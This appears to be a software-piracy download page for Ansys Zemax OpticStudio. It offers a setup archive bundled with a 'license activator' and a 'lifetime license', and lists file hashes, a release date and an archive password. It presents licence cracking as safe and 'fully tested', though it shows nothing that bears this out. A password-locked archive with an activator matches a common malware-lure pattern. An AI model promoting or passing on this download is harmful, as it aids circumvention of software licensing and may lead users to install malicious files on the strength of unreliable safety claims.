Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Ansys_Zemax_OpticStudio_v3.7_x64_setup.zip |
| Version | v3.7.3676 build 24053 |
| File Size | 4.16 GB (4256 MB) |
| MD5 Hash | 8e2a54e29808222c7244ccb8ecb5b60b |
| SHA-256 | 1fccd1da9a3777800ee2147b4c8ebcbac50ba315000d01cd21560e526be2fbe2 |
| Release Date | 2026-12-10 |
| Platform | Windows 11 (x64) / Windows Server 2022 |
| Archive Password | mirror2026 |
| License Type | Lifetime License |
The Ansys Zemax OpticStudio software download and installation package is fully tested on clean virtual machines. It bundles all drivers, redistributables and configuration files so you can skip manual dependency hunting and start working right after the first launch.